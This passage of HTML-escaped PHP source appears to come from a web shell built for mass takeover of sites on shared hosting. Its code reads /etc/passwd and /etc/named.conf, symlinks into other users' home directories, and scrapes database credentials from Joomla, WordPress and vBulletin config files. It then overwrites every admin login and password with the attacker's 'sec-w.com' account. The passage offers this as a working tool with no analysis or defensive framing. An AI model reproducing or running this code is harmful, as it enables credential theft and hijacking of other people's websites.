&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
// passwd&lt;br /&gt;
&lt;br /&gt;
case &#39;passwd&#39;:&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&#39;save&#39;]) and isset($_POST[&#39;file&#39;]) or @filesize(&#39;passwd.txt&#39;) &amp;gt; 0){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$cont = stripcslashes($_POST[&#39;file&#39;]);&lt;br /&gt;
&lt;br /&gt;
if(!file_exists(&#39;passwd.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$f = @fopen(&#39;passwd.txt&#39;,&#39;w&#39;);&lt;br /&gt;
&lt;br /&gt;
$w = @fwrite($f,$cont);&lt;br /&gt;
&lt;br /&gt;
fclose($f);&lt;br /&gt;
}&lt;br /&gt;
if($w or @filesize(&#39;passwd.txt&#39;) &amp;gt; 0){&lt;br /&gt;
// * SHOW * //&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&amp;lt;table align=&#39;center&#39; width=&#39;35%&#39;&amp;gt;&amp;lt;td&amp;gt;Users&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;symlink&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;FTP&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
$fil3 = file(&#39;passwd.txt&#39;);&lt;br /&gt;
&lt;br /&gt;
foreach ($fil3 as $f){&lt;br /&gt;
&lt;br /&gt;
$u=explode(&#39;:&#39;, $f);&lt;br /&gt;
$user = $u[&#39;0&#39;];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td width=&#39;15%&#39;&amp;gt;&lt;br /&gt;
$user&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td width=&#39;10%&#39;&amp;gt;&lt;br /&gt;
&amp;lt;a href=&#39;sym/root/home/$user/public_html&#39; target=&#39;_blank&#39;&amp;gt;Symlink &amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;td width=&#39;10%&#39;&amp;gt;&lt;br /&gt;
&amp;lt;a href=&#39;$pageFTP/sym/root/home/$user/public_html&#39; target=&#39;_blank&#39;&amp;gt;FTP&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/tr&amp;gt;&amp;lt;/div&amp;gt; &quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;/tr&amp;gt;&amp;lt;/div&amp;gt;&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;read /etc/passwd&quot;;&lt;br /&gt;
echo &quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;form method=&#39;post&#39; action=&#39;?sws=passwd&amp;amp;save=1&#39;&amp;gt;&amp;lt;textarea cols=&#39;80&#39; rows=&#39;20&#39; name=&#39;file&#39;&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
$file = &#39;/etc/passwd&#39;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$r3ad = @fopen($file, &#39;r&#39;);&lt;br /&gt;
if ($r3ad){&lt;br /&gt;
$content = @fread($r3ad, @filesize($file));&lt;br /&gt;
echo &quot;&quot;.htmlentities($content).&quot;&quot;;&lt;br /&gt;
}&lt;br /&gt;
elseif(!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
$r3ad = @show_source($file) ;&lt;br /&gt;
}&lt;br /&gt;
elseif(!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
$r3ad = @highlight_file($file);&lt;br /&gt;
}&lt;br /&gt;
elseif(!$r3ad)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
for($uid=0;$uid&amp;lt;1000;$uid++){&lt;br /&gt;
$ara = posix_getpwuid($uid);&lt;br /&gt;
if (!empty($ara)) {&lt;br /&gt;
while (list ($key, $val) = each($ara)){&lt;br /&gt;
print &quot;$val:&quot;;&lt;br /&gt;
}&lt;br /&gt;
print &quot;\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input  type=&#39;submit&#39; value=&#39;&amp;amp;nbsp;&amp;amp;nbsp;symlink&amp;amp;nbsp;&amp;amp;nbsp;&#39;/&amp;gt; &amp;lt;/form&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
case &#39;joomla&#39;:&lt;br /&gt;
&lt;br /&gt;
/////////////////////////////////////////////////////////////////// xxxxxxxxxxxxxxxxxxx ////////////////////////////&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if(isset($_POST[&#39;s&#39;])){&lt;br /&gt;
&lt;br /&gt;
$file = @file_get_contents(&#39;joomla.txt&#39;);&lt;br /&gt;
&lt;br /&gt;
$ex   = explode(&quot;\n&quot;,$file);&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; domin &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
foreach ($ex as $exp){&lt;br /&gt;
&lt;br /&gt;
$es   = explode(&quot;||&quot;,$exp);&lt;br /&gt;
&lt;br /&gt;
$config = $es[0];&lt;br /&gt;
&lt;br /&gt;
$domin = $es[1];&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
$readconfig  = @file_get_contents(trim($config));&lt;br /&gt;
&lt;br /&gt;
if(ereg(&#39;JConfig&#39;,$readconfig)){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$pass    =  ex($readconfig,&#39;$password = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$userdb  =  ex($readconfig,&#39;$user = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$db      =  ex($readconfig,&#39;$db = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$fix     =  ex($readconfig,&#39;$dbprefix = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$tab     =  $fix.&#39;users&#39;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$con     = @mysql_connect(&#39;localhost&#39;,$userdb,$pass);&lt;br /&gt;
&lt;br /&gt;
$db      = @mysql_select_db($db,$con);&lt;br /&gt;
&lt;br /&gt;
$query   = @mysql_query(&quot;UPDATE `$tab`  SET `username` =&#39;sec-w.com&#39;&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$query3  = @mysql_query(&quot;UPDATE `$tab`  SET `password` =&#39;44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J&#39;&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if ($query and $query3 ){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Succeed &amp;lt;/b&amp;gt;user [sec-w.com] pass [1]&amp;lt;/b&amp;gt;&#39;;}else{$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;}&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$exp&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b style=&#39;color:red&#39;&amp;gt;failed&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
die();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(!is_file(&#39;named.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;/etc/named.conf&quot;);&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
$d00m = file(&quot;named.txt&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
if(!$d00m)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;0; url=?sws=read&#39;/&amp;gt;&quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;form method=&#39;POST&#39; action=&#39;$pg?sws=joomla&#39;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;submit&#39; value=&#39;Mass ching Admin&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;hidden&#39; value=&#39;1&#39; name=&#39;s&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; Domains &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$f = fopen(&#39;joomla.txt&#39;,&#39;w&#39;);&lt;br /&gt;
&lt;br /&gt;
foreach($d00m as $dom){&lt;br /&gt;
&lt;br /&gt;
if(eregi(&quot;zone&quot;,$dom)){&lt;br /&gt;
&lt;br /&gt;
preg_match_all(&#39;#zone &quot;(.*)&quot;#&#39;, $dom, $domsws);&lt;br /&gt;
&lt;br /&gt;
if(strlen(trim($domsws[1][0])) &amp;gt; 2){&lt;br /&gt;
&lt;br /&gt;
$user = posix_getpwuid(@fileowner(&quot;/etc/valiases/&quot;.$domsws[1][0]));&lt;br /&gt;
&lt;br /&gt;
///////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$wpl=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/configuration.php&quot;;&lt;br /&gt;
$wpp=get_headers($wpl);&lt;br /&gt;
$wp=$wpp[0];&lt;br /&gt;
&lt;br /&gt;
$wp2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/blog/configuration.php&quot;;&lt;br /&gt;
$wpp2=get_headers($wp2);&lt;br /&gt;
$wp12=$wpp2[0];&lt;br /&gt;
&lt;br /&gt;
$wp3=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/joomla/configuration.php&quot;;&lt;br /&gt;
$wpp3=get_headers($wp3);&lt;br /&gt;
$wp13=$wpp3[0];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
////////// joomla ////////////&lt;br /&gt;
&lt;br /&gt;
$pos = strpos($wp, &quot;200&quot;);&lt;br /&gt;
$config=&quot;&amp;amp;nbsp;&quot;;&lt;br /&gt;
&lt;br /&gt;
if (strpos($wp, &quot;200&quot;) == true )&lt;br /&gt;
{&lt;br /&gt;
$config= $wpl;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp12, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp2;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp13, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp3;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
continue;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
/////////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$dom = $domsws[1][0];&lt;br /&gt;
&lt;br /&gt;
$w = fwrite($f,&quot;$config||$dom \n&quot;);&lt;br /&gt;
if($w){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Save&amp;lt;/b&amp;gt;&#39;;}else{$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=http://www.&quot;.$domsws[1][0].&quot;&amp;gt;&quot;.$domsws[1][0].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
case &#39;wp&#39;:&lt;br /&gt;
&lt;br /&gt;
############################ index #########################3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
########  admin ##########33&lt;br /&gt;
&lt;br /&gt;
if(isset($_POST[&#39;s&#39;])){&lt;br /&gt;
&lt;br /&gt;
$file = @file_get_contents(&#39;wp.txt&#39;);&lt;br /&gt;
&lt;br /&gt;
$ex   = explode(&quot;\n&quot;,$file);&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; domin &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
foreach ($ex as $exp){&lt;br /&gt;
&lt;br /&gt;
$es   = explode(&quot;||&quot;,$exp);&lt;br /&gt;
&lt;br /&gt;
$config = $es[0];&lt;br /&gt;
&lt;br /&gt;
$domin = $es[1];&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
$readconfig  = @file_get_contents(trim($config));&lt;br /&gt;
&lt;br /&gt;
if(ereg(&#39;wp-settings.php&#39;,$readconfig)){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$pass    =  ex($readconfig,&quot;define(&#39;DB_PASSWORD&#39;, &#39;&quot;,&quot;&#39;);&quot;);&lt;br /&gt;
&lt;br /&gt;
$userdb  =  ex($readconfig,&quot;define(&#39;DB_USER&#39;, &#39;&quot;,&quot;&#39;);&quot;);&lt;br /&gt;
&lt;br /&gt;
$db      =  ex($readconfig,&quot;define(&#39;DB_NAME&#39;, &#39;&quot;,&quot;&#39;);&quot;);&lt;br /&gt;
&lt;br /&gt;
$fix     =  ex($readconfig,&#39;$table_prefix  = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$tab     = $fix.&#39;users&#39;;&lt;br /&gt;
&lt;br /&gt;
$con     = @mysql_connect(&#39;localhost&#39;,$userdb,$pass);&lt;br /&gt;
&lt;br /&gt;
$db      = @mysql_select_db($db,$con);&lt;br /&gt;
&lt;br /&gt;
$query   = @mysql_query(&quot;UPDATE `$tab` SET `user_login` =&#39;sec-w.com&#39;&quot;) or die;&lt;br /&gt;
&lt;br /&gt;
$query   = @mysql_query(&quot;UPDATE `$tab` SET `user_pass` =&#39;$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/&#39;&quot;) or die;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if ($query){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Succeed &amp;lt;/b&amp;gt;user [sec-w.com] pass [1]&amp;lt;/b&amp;gt;&#39;;}&lt;br /&gt;
&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b style=&#39;color:red&#39;&amp;gt;failed2&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
die();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(!is_file(&#39;named.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;/etc/named.conf&quot;);&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
$d00m = @file(&quot;named.txt&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
if(!$d00m)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;0; url=?sws=read&#39;/&amp;gt;&quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;form method=&#39;POST&#39; action=&#39;$pg?sws=wp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;submit&#39; value=&#39;Mass Change Admin&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;hidden&#39; value=&#39;1&#39; name=&#39;s&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; Domains &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
$f = fopen(&#39;wp.txt&#39;,&#39;w&#39;);&lt;br /&gt;
&lt;br /&gt;
foreach($d00m as $dom){&lt;br /&gt;
&lt;br /&gt;
if(eregi(&quot;zone&quot;,$dom)){&lt;br /&gt;
&lt;br /&gt;
preg_match_all(&#39;#zone &quot;(.*)&quot;#&#39;, $dom, $domsws);&lt;br /&gt;
&lt;br /&gt;
if(strlen(trim($domsws[1][0])) &amp;gt; 2){&lt;br /&gt;
&lt;br /&gt;
$user = posix_getpwuid(@fileowner(&quot;/etc/valiases/&quot;.$domsws[1][0]));&lt;br /&gt;
&lt;br /&gt;
///////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$wpl=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/wp-config.php&quot;;&lt;br /&gt;
$wpp=get_headers($wpl);&lt;br /&gt;
$wp=$wpp[0];&lt;br /&gt;
&lt;br /&gt;
$wp2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/blog/wp-config.php&quot;;&lt;br /&gt;
$wpp2=get_headers($wp2);&lt;br /&gt;
$wp12=$wpp2[0];&lt;br /&gt;
&lt;br /&gt;
$wp3=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/public_html/wp/wp-config&quot;;&lt;br /&gt;
$wpp3=get_headers($wp3);&lt;br /&gt;
$wp13=$wpp3[0];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
////////// wp ////////////&lt;br /&gt;
&lt;br /&gt;
$pos = strpos($wp, &quot;200&quot;);&lt;br /&gt;
$config=&quot;&amp;amp;nbsp;&quot;;&lt;br /&gt;
&lt;br /&gt;
if (strpos($wp, &quot;200&quot;) == true )&lt;br /&gt;
{&lt;br /&gt;
$config= $wpl;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp12, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp2;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp13, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp3;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
continue;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
/////////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$dom = $domsws[1][0];&lt;br /&gt;
&lt;br /&gt;
$w = fwrite($f,&quot;$config||$dom \n&quot;);&lt;br /&gt;
if($w){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Save&amp;lt;/b&amp;gt;&#39;;}else{$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=http://www.&quot;.$domsws[1][0].&quot;&amp;gt;&quot;.$domsws[1][0].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
flush();&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
case &#39;vb&#39;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if(isset($_POST[&#39;s&#39;])){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$file = @file_get_contents(&#39;vb.txt&#39;);&lt;br /&gt;
&lt;br /&gt;
$ex   = explode(&quot;\n&quot;,$file);&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; domin &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
foreach ($ex as $exp){&lt;br /&gt;
&lt;br /&gt;
$es   = explode(&quot;||&quot;,$exp);&lt;br /&gt;
&lt;br /&gt;
$config = $es[0];&lt;br /&gt;
&lt;br /&gt;
$domin = $es[1];&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
$readconfig  = @file_get_contents(trim($config));&lt;br /&gt;
&lt;br /&gt;
if(ereg(&#39;vBulletin&#39;,$readconfig)){&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$db      =  ex($readconfig,&#39;$config[\&#39;Database\&#39;][\&#39;dbname\&#39;] = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$userdb  =  ex($readconfig,&#39;$config[\&#39;MasterServer\&#39;][\&#39;username\&#39;] = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$pass    =  ex($readconfig,&#39;$config[\&#39;MasterServer\&#39;][\&#39;password\&#39;] = \&#39;&#39;,&quot;&#39;;&quot;);&lt;br /&gt;
&lt;br /&gt;
$con     = @mysql_connect(&#39;localhost&#39;,$userdb,$pass);&lt;br /&gt;
&lt;br /&gt;
